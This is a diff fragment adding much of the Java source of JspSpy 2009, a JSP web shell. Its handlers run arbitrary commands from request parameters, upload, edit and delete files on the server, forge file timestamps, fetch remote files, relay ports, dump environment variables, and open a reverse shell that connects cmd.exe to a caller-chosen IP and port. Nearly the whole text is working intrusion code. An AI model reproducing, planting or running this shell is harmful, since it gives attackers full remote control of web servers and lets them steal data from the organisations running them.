+response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
+fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
+fileBean.parseRequest(request);
+JSession.setAttribute(MSG,"Upload File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class CopyInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String src = request.getParameter("src");
+String to = request.getParameter("to");
+BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
+BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
+byte[] d = new byte[1024];
+int len = input.read(d);
+while(len != -1) {
+output.write(d,0,len);
+len = input.read(d);
+}
+output.close();
+input.close();
+JSession.setAttribute(MSG,"Copy File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BottomInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+response.getWriter().println("
        Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VCreateFileInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+File f = new File(path);
+if (!f.isAbsolute()) {
+String oldPath = path;
+path = JSession.getAttribute(CURRENT_DIR).toString();
+if (!path.endsWith("/"))
+path+="/";
+path+=oldPath;
+f = new File(path);
+f.createNewFile();
+} else {
+f.createNewFile();
+}
+out.println("
        "+
+"
        "+
+"
        Create / Edit File »
        "+
+""+
+"
        Current File (import new file name and new file)
        "+
+"
        File Content
        "+
+"
         
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VEditInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+File f = new File(path);
+if (f.exists()) {
+BufferedReader reader = new BufferedReader(new FileReader(f));
+StringBuilder content = new StringBuilder();
+String s = reader.readLine();
+while (s != null) {
+content.append(s+"\r\n");
+s = reader.readLine();
+}
+reader.close();
+out.println("
        "+
+"
        "+
+"
        Create / Edit File »
        "+
+""+
+"
        Current File (import new file name and new file)
        "+
+"
        File Content
        "+
+"
         
        "+
+"
        "+
+"
        ");
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class CreateFileInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("filepath");
+String content = request.getParameter("filecontent");
+
+BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path)));
+outs.write(content,0,content.length());
+outs.close();
+JSession.setAttribute(MSG,"Save File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VEditPropertyInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String filepath = request.getParameter("filepath");
+File f = new File(filepath);
+if (!f.exists())
+return;
+String read = f.canRead() ? "checked=\"checked\"" : "";
+String write = f.canWrite() ? "checked=\"checked\"" : "";
+String execute = f.canExecute() ? "checked=\"checked\"" : "";
+Calendar cal = Calendar.getInstance();
+cal.setTimeInMillis(f.lastModified());
+
+out.println("
        "+
+"
        "+
+"
        Set File Property »
        "+
+"
        Current file (fullpath)
        "+
+" "+
+"
        Read: "+
+"   "+
+"  Write: "+
+"   "+
+"  Execute: "+
+"  "+
+"
        "+
+"
        Instead »"+
+"year:"+
+""+
+"month:"+
+""+
+"day:"+
+""+
+""+
+"hour:"+
+""+
+"minute:"+
+""+
+"second:"+
+""+
+"
        "+
+"
         
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class EditPropertyInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String f = request.getParameter("file");
+File file = new File(f);
+if (!file.exists())
+return;
+String read = request.getParameter("read");
+String write = request.getParameter("write");
+String execute = request.getParameter("execute");
+String year = request.getParameter("year");
+String month = request.getParameter("month");
+String date = request.getParameter("date");
+String hour = request.getParameter("hour");
+String minute = request.getParameter("minute");
+String second = request.getParameter("second");
+if (Util.isEmpty(read)) {
+file.setReadable(false);
+} else {
+file.setReadable(true);
+}
+if (Util.isEmpty(write)) {
+file.setWritable(false);
+} else {
+file.setWritable(true);
+}
+if (Util.isEmpty(execute)) {
+file.setExecutable(false);
+} else {
+file.setExecutable(true);
+}
+Calendar cal = Calendar.getInstance();
+cal.set(Calendar.YEAR,Integer.parseInt(year));
+cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
+cal.set(Calendar.DATE,Integer.parseInt(date));
+cal.set(Calendar.HOUR,Integer.parseInt(hour));
+cal.set(Calendar.MINUTE,Integer.parseInt(minute));
+cal.set(Calendar.SECOND,Integer.parseInt(second));
+if(file.setLastModified(cal.getTimeInMillis())){
+JSession.setAttribute(MSG,"Reset File Property Success!");
+} else {
+JSession.setAttribute(MSG,"Reset File Property Failed!");
+}
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VShell
+private static class VsInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String cmd = request.getParameter("command");
+String program = request.getParameter("program");
+if (cmd == null) cmd = "cmd.exe /c set";
+if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
+if (JSession.getAttribute(MSG)!=null) {
+Util.outMsg(out,JSession.getAttribute(MSG).toString());
+JSession.removeAttribute(MSG);
+}
+out.println(""+
+"
        "+
+"
        "+
+"
        Execute Program »
        "+
+"
        "+
+""+
+""+
+"Parameter
        "+
+""+
+"
        "+
+"
        "+
+"
        "+
+"
        Execute Shell »
        "+
+"
        "+
+""+
+""+
+"Parameter
        "+
+""+
+"
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class ShellInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String type = request.getParameter("type");
+if (type.equals("command")) {
+ins.get("vs").invoke(request,response,JSession);
+out.println("
        ");
+out.println("
        ");
+String command = request.getParameter("command");
+if (!Util.isEmpty(command)) {
+Process pro = Runtime.getRuntime().exec(command);
+BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
+String s = reader.readLine();
+while (s != null) {
+out.println(Util.htmlEncode(Util.getStr(s)));
+s = reader.readLine();
+}
+reader.close();
+out.println("
        ");
+}
+} else {
+String program = request.getParameter("program");
+if (!Util.isEmpty(program)) {
+Process pro = Runtime.getRuntime().exec(program);
+JSession.setAttribute(MSG,"Program Has Run Success!");
+ins.get("vs").invoke(request,response,JSession);
+}
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DownInvoker extends DefaultInvoker{
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String path  = request.getParameter("path");
+if (Util.isEmpty(path)) 
+return;
+File f = new File(path);
+if (!f.exists()) 
+return;
+response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET));
+BufferedInputStream input = new BufferedInputStream(new FileInputStream(f));
+BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
+byte[] data = new byte[1024];
+int len = input.read(data);
+while (len != -1) {
+output.write(data,0,len);
+len = input.read(data);
+}
+input.close();
+output.close();
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VDown
+private static class VdInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String savepath = request.getParameter("savepath");
+String url = request.getParameter("url");
+if (Util.isEmpty(url))
+url = "http://www.forjj.com/";
+if (Util.isEmpty(savepath)) {
+savepath = JSession.getAttribute(CURRENT_DIR).toString();
+}
+if (!Util.isEmpty(JSession.getAttribute("done"))) {
+Util.outMsg(out,"Download Remote File Success!");
+JSession.removeAttribute("done");
+}
+out.println("
        "+
+"
        "+
+"
        Remote File DownLoad »
        "+
+"
        "+
+""+
+"Remote File URL:"+
+"  "+
+"Save Path:"+
+""+
+""+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DownRemoteInvoker extends DefaultInvoker {
+public boolean doBefore(){return true;}
+public boolean doAfter(){return true;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String downFileUrl = request.getParameter("url");
+String savePath = request.getParameter("savepath");
+if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
+return;
+URL downUrl = new URL(downFileUrl);
+URLConnection conn = downUrl.openConnection();
+BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
+BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath)));
+byte[] data = new byte[1024];
+int len = in.read(data);
+while (len != -1) {
+out.write(data,0,len);
+len = in.read(data);
+}
+in.close();
+out.close();
+JSession.setAttribute("done","d");
+ins.get("vd").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class IndexInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+ins.get("filelist").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MkDirInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String name = request.getParameter("name");
+File f = new File(name);
+if (!f.isAbsolute()) {
+String path = JSession.getAttribute(CURRENT_DIR).toString();
+if (!path.endsWith("/"))
+path += "/";
+path += name;
+f = new File(path);
+}
+f.mkdirs();
+JSession.setAttribute(MSG,"Make Directory Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MoveInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String src = request.getParameter("src");
+String target  = request.getParameter("to");
+if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
+File file = new File(src);
+if(file.renameTo(new File(target))) {
+JSession.setAttribute(MSG,"Move File Success!");
+} else {
+String msg = "Move File Failed!";
+if (file.isDirectory()) {
+msg += "The Move Will Failed When The Directory Is Not Empty.";
+}
+JSession.setAttribute(MSG,msg);
+}
+response.sendRedirect(SHELL_NAME+"?o=index");
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class RemoteDirInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String dir = request.getParameter("dir");
+File file = new File(dir);
+if (file.exists()) {
+deleteFile(file);
+deleteDir(file);
+}
+
+JSession.setAttribute(MSG,"Remove Directory Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+public void deleteFile(File f) {
+if (f.isFile()) {
+f.delete();
+}else {
+File[] list = f.listFiles();
+for (File ff:list) {
+deleteFile(ff);
+}
+}
+}
+public void deleteDir(File f) {
+File[] list = f.listFiles();
+if (list.length == 0) {
+f.delete();
+} else {
+for (File ff:list) {
+deleteDir(ff);
+}
+deleteDir(f);
+}
+}
+}
+private static class PackBatchInvoker extends DefaultInvoker{
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String files = request.getParameter("files");
+if (Util.isEmpty(files))
+return;
+String saveFileName = request.getParameter("savefilename");
+File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
+if (saveF.exists()) {
+JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
+String[] arr = files.split(",");
+for (String f:arr) {
+File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
+ZipEntry entry = new ZipEntry(pF.getName());
+zout.putNextEntry(entry);
+FileInputStream fInput = new FileInputStream(pF);
+int len = 0;
+byte[] buf = new byte[1024];
+while ((len = fInput.read(buf)) != -1) {
+zout.write(buf, 0, len);
+zout.flush();
+}
+fInput.close();
+}
+zout.close();
+JSession.setAttribute(MSG,"Pack Files Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+}
+private static class PackInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String packedFile = request.getParameter("packedfile");
+if (Util.isEmpty(packedFile))
+return;
+String saveFileName = request.getParameter("savefilename");
+File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
+if (saveF.exists()) {
+JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+File pF = new File(packedFile);
+ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
+String base = "";
+if (pF.isDirectory()) {
+zipDir(pF,base,zout);
+} else {
+zipFile(pF,base,zout);
+}
+zout.close();
+JSession.setAttribute(MSG,"Pack File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+public void zipDir(File f,String base,ZipOutputStream zout)  throws Exception {
+if (f.isDirectory()) {
+File[] arr = f.listFiles();
+for (File ff:arr) {
+String tmpBase = base;
+if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
+tmpBase += "/";
+zipDir(ff,tmpBase+f.getName(),zout);
+}
+} else {
+String tmpBase = base;
+if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
+tmpBase += "/";
+zipFile(f,tmpBase,zout);
+}
+}
+public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
+ZipEntry entry = new ZipEntry(base+f.getName());
+zout.putNextEntry(entry);
+FileInputStream fInput = new FileInputStream(f);
+int len = 0;
+byte[] buf = new byte[1024];
+while ((len = fInput.read(buf)) != -1) {
+zout.write(buf, 0, len);
+zout.flush();
+}
+fInput.close();
+}
+}
+private static class UnPackInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String savepath = request.getParameter("savepath");
+String zipfile = request.getParameter("zipfile");
+if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
+return;
+File save = new File(savepath);
+save.mkdirs();
+ZipFile file = new ZipFile(new File(zipfile));   
+Enumeration e = file.entries();   
+while (e.hasMoreElements()) {   
+ZipEntry en = (ZipEntry) e.nextElement(); 
+String entryPath = en.getName();
+int index = entryPath.lastIndexOf("/");
+if (index != -1)
+entryPath = entryPath.substring(0,index);
+File absEntryFile = new File(save,entryPath);
+if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1)) 
+absEntryFile.mkdirs();
+BufferedOutputStream output = null;
+BufferedInputStream input = null;
+try {
+output = new BufferedOutputStream(   
+new FileOutputStream(new File(save,en.getName())));   
+input = new BufferedInputStream(   
+file.getInputStream(en));   
+byte[] b = new byte[1024];   
+int len = input.read(b);   
+while (len != -1) {   
+output.write(b, 0, len);   
+len = input.read(b);   
+}   
+} catch (Exception ex) {
+} finally {
+try {
+if (output != null)
+output.close();
+if (input != null)
+input.close();
+} catch (Exception ex1) {
+}
+}
+}
+file.close();
+JSession.setAttribute(MSG,"Unzip File Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VMapPort
+private static class VmpInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object localIP = JSession.getAttribute("localIP");
+Object localPort = JSession.getAttribute("localPort");
+Object remoteIP = JSession.getAttribute("remoteIP");
+Object remotePort = JSession.getAttribute("remotePort");
+Object done = JSession.getAttribute("done");
+
+JSession.removeAttribute("localIP");
+JSession.removeAttribute("localPort");
+JSession.removeAttribute("remoteIP");
+JSession.removeAttribute("remotePort");
+JSession.removeAttribute("done");
+
+if (Util.isEmpty(localIP))
+localIP = InetAddress.getLocalHost().getHostAddress();
+if (Util.isEmpty(localPort))
+localPort = "3389";
+if (Util.isEmpty(remoteIP))
+remoteIP = "www.forjj.com";
+if (Util.isEmpty(remotePort))
+remotePort = "80";
+if (!Util.isEmpty(done))
+Util.outMsg(out,done.toString());
+
+out.println("
        "+
+""+
+"  "+
+"  "+
+"    "+
+""+
+"
        PortMap >>
        "+
+"      
        "+
+"      "+
+"      "+
+"        "+
+"        "+
+"        "+
+"        "+
+"        "+
+"      "+
+"      "+
+"        "+
+"    "+
+"	
        Local Ip :"+
+"          "+
+"          Local Port :"+
+"          Remote Ip :"+
+"          Remote Port :"+
+"          

        "+
+"          "+
+"			"+
+"    
        "+
+"    
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//StopMapPort
+private static class SmpInvoker extends DefaultInvoker {
+public boolean doAfter(){return true;}
+public boolean doBefore(){return true;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
+server.close();
+}
+JSession.setAttribute("done","Stop Success!");
+ins.get("vmp").invoke(request,response,JSession);
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MapPortInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String localIP = request.getParameter("localIP");
+String localPort = request.getParameter("localPort");
+final String remoteIP = request.getParameter("remoteIP");
+final String remotePort = request.getParameter("remotePort");
+if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
+return;
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket s = (ServerSocket)obj;
+s.close();
+}
+final ServerSocket server = new ServerSocket();
+server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
+JSession.setAttribute(PORT_MAP,server);
+new Thread(new Runnable(){
+public void run(){
+while (true) {
+Socket soc = null;
+Socket remoteSoc = null;
+DataInputStream remoteIn = null;
+DataOutputStream remoteOut = null;
+DataInputStream localIn = null;
+DataOutputStream localOut = null;
+try{
+soc = server.accept();
+remoteSoc = new Socket();
+remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
+remoteIn = new DataInputStream(remoteSoc.getInputStream());
+remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
+localIn = new DataInputStream(soc.getInputStream());
+localOut = new DataOutputStream(soc.getOutputStream());
+this.readFromLocal(localIn,remoteOut);
+this.readFromRemote(soc,remoteSoc,remoteIn,localOut);
+}catch(Exception ex)
+{								
+break;
+}
+}
+}
+public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
+new Thread(new Runnable(){
+public void run(){
+while (true) {
+try{
+byte[] data = new byte[100];
+int len = localIn.read(data);
+while (len != -1) {
+remoteOut.write(data,0,len);
+len = localIn.read(data);
+}
+}catch (Exception e) {
+break;
+}
+}
+}
+}).start();
+}
+public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
+new Thread(new Runnable(){
+public void run(){
+while(true) {
+try{
+byte[] data = new byte[100];
+int len = remoteIn.read(data);
+while (len != -1) {
+localOut.write(data,0,len);
+len = remoteIn.read(data);
+}
+}catch (Exception e) {
+try{
+soc.close();
+remoteSoc.close();
+}catch(Exception ex) {
+}
+break;
+}
+}
+}
+}).start();
+}
+}).start();
+JSession.setAttribute("done","Map Port Success!");
+JSession.setAttribute("localIP",localIP);
+JSession.setAttribute("localPort",localPort);
+JSession.setAttribute("remoteIP",remoteIP);
+JSession.setAttribute("remotePort",remotePort);
+response.sendRedirect(SHELL_NAME+"?o=vmp");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//VBackConnect
+private static class VbcInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object ip = JSession.getAttribute("ip");
+Object port = JSession.getAttribute("port");
+Object program = JSession.getAttribute("program");
+Object done = JSession.getAttribute("done");
+JSession.removeAttribute("ip");
+JSession.removeAttribute("port");
+JSession.removeAttribute("program");
+JSession.removeAttribute("done");
+if (Util.isEmpty(ip))
+ip = request.getRemoteAddr();
+if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
+port = "4444";
+if (Util.isEmpty(program))
+program = "cmd.exe";
+if (!Util.isEmpty(done))
+Util.outMsg(out,done.toString());
+out.println("
        "+
+""+
+"  "+
+"  "+
+"    "+
+""+
+"
        Back Connect >>
        "+
+"      
        "+
+"      "+
+"      "+
+"        "+
+"        "+
+"      "+
+"      "+
+"        "+
+"    "+
+"	
        Your Ip :"+
+"          "+
+"          Your Port :"+
+"          Program To Back :"+
+"          

        "+
+"          "+
+"    
        "+
+"    
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BackConnectInvoker extends DefaultInvoker {
+public boolean doAfter(){return false;}
+public boolean doBefore(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String ip = request.getParameter("ip");
+String port = request.getParameter("port");
+String program = request.getParameter("program");
+if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
+return;
+Socket socket = new Socket(ip,Integer.parseInt(port));
+Process process = Runtime.getRuntime().exec(program);
+(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
+(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
+JSession.setAttribute("done","Back Connect Success!");
+JSession.setAttribute("ip",ip);
+JSession.setAttribute("port",port);
+JSession.setAttribute("program",program);
+response.sendRedirect(SHELL_NAME+"?o=vbc");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class JspEnvInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println(""+
+"      "+
+"        "+
+"      "+
+"    
        System Properties >>
        "+
+"          
        "+
+"            
        "+
+"            
          ");
+Properties pro = System.getProperties();
+Enumeration names = pro.propertyNames();
+while (names.hasMoreElements()){
+String name = (String)names.nextElement();
+out.println("
        • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
          • ");
+}
+out.println("
        System Environment >>
          ");
+Map envs = System.getenv();
+Set> entrySet = envs.entrySet();
+for (Map.Entry en:entrySet) {
+out.println("
        • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
          • ");
+}
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class TopInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("
        "+
+""+
+"	"+
+"		"+
+"	"+
+"	"+
+"		"+
+"
        JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
        Logout | "+
+"			File Manager | "+
+"			DataBase Manager | "+
+"			Execute Command | "+
+"			Shell OnLine | "+
+"			Back Connect | "+
+"			Port Scan | "+
+"			Download Remote File | "+
+"			ClipBoard | "+
+"			Remote Control | "+
+"			Port Map | "+
+"			JSP Env "+
+"	
        ");
+if (JSession.getAttribute(MSG) != null) {
+Util.outMsg(out,JSession.getAttribute(MSG).toString());
+JSession.removeAttribute(MSG);
+} 
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VOnLineShellInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        ");
+out.println("
        Shell OnLine »

        ");
+out.println("
        "+
+"			"+
+"				"+
+"				Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+
+"			
        "+
+"			
        "+
+"				"+
+"				
        "+
+"					"+
+"					"+
+"					"+
+"					Auto Scroll"+
+"					"+
+"				
        "+
+"			"
+);
+out.println("    
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class OnLineInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String type = request.getParameter("type");
+if (Util.isEmpty(type))
+return;
+if (type.toLowerCase().equals("start")) {
+String exe = request.getParameter("exe");
+if (Util.isEmpty(exe))
+return;
+Process pro = Runtime.getRuntime().exec(exe);
+ByteArrayOutputStream outs = new ByteArrayOutputStream();
+response.setContentLength(100000000);
+response.setContentType("text/html;charset="+Charset.defaultCharset().name());
+OnLineProcess olp = new OnLineProcess(pro);
+JSession.setAttribute(SHELL_ONLINE,olp);
+new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
+new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
+new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//閿欒淇℃伅娴併
+Thread.sleep(1000 * 60 * 60 * 24);
+} else if (type.equals("ecmd")) {
+Object o = JSession.getAttribute(SHELL_ONLINE);
+String cmd = request.getParameter("cmd");
+if (Util.isEmpty(cmd))
+return;
+if (o == null)
+return;
+OnLineProcess olp = (OnLineProcess)o;
+olp.setCmd(cmd);
+} else {
+Object o = JSession.getAttribute(SHELL_ONLINE);
+if (o == null)
+return;
+OnLineProcess olp = (OnLineProcess)o;
+olp.stop();
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+
+static{
+ins.put("script",new ScriptInvoker());
+ins.put("before",new BeforeInvoker());
+ins.put("after",new AfterInvoker());
+ins.put("deleteBatch",new DeleteBatchInvoker());
+ins.put("clipboard",new ClipBoardInvoker());
+ins.put("vRemoteControl",new VRemoteControlInvoker());
+ins.put("gc",new GcInvoker());
+ins.put("vPortScan",new VPortScanInvoker());
+ins.put("portScan",new PortScanInvoker());
+ins.put("vConn",new VConnInvoker());
+ins.put("dbc",new DbcInvoker());
+ins.put("executesql",new ExecuteSQLInvoker());
+ins.put("vLogin",new VLoginInvoker());
+ins.put("login",new LoginInvoker());
+ins.put("filelist", new FileListInvoker());
+ins.put("logout",new LogoutInvoker());
+ins.put("upload",new UploadInvoker());
+ins.put("copy",new CopyInvoker());
+ins.put("bottom",new BottomInvoker());
+ins.put("vCreateFile",new VCreateFileInvoker());
+ins.put("vEdit",new VEditInvoker());
+ins.put("createFile",new CreateFileInvoker());
+ins.put("vEditProperty",new VEditPropertyInvoker());
+ins.put("editProperty",new EditPropertyInvoker());
+ins.put("vs",new VsInvoker());
+ins.put("shell",new ShellInvoker());
+ins.put("down",new DownInvoker());
+ins.put("vd",new VdInvoker());
+ins.put("downRemote",new DownRemoteInvoker());
+ins.put("index",new IndexInvoker());
+ins.put("mkdir",new MkDirInvoker());
+ins.put("move",new MoveInvoker());
+ins.put("removedir",new RemoteDirInvoker());
+ins.put("packBatch",new PackBatchInvoker());
+ins.put("pack",new PackInvoker());
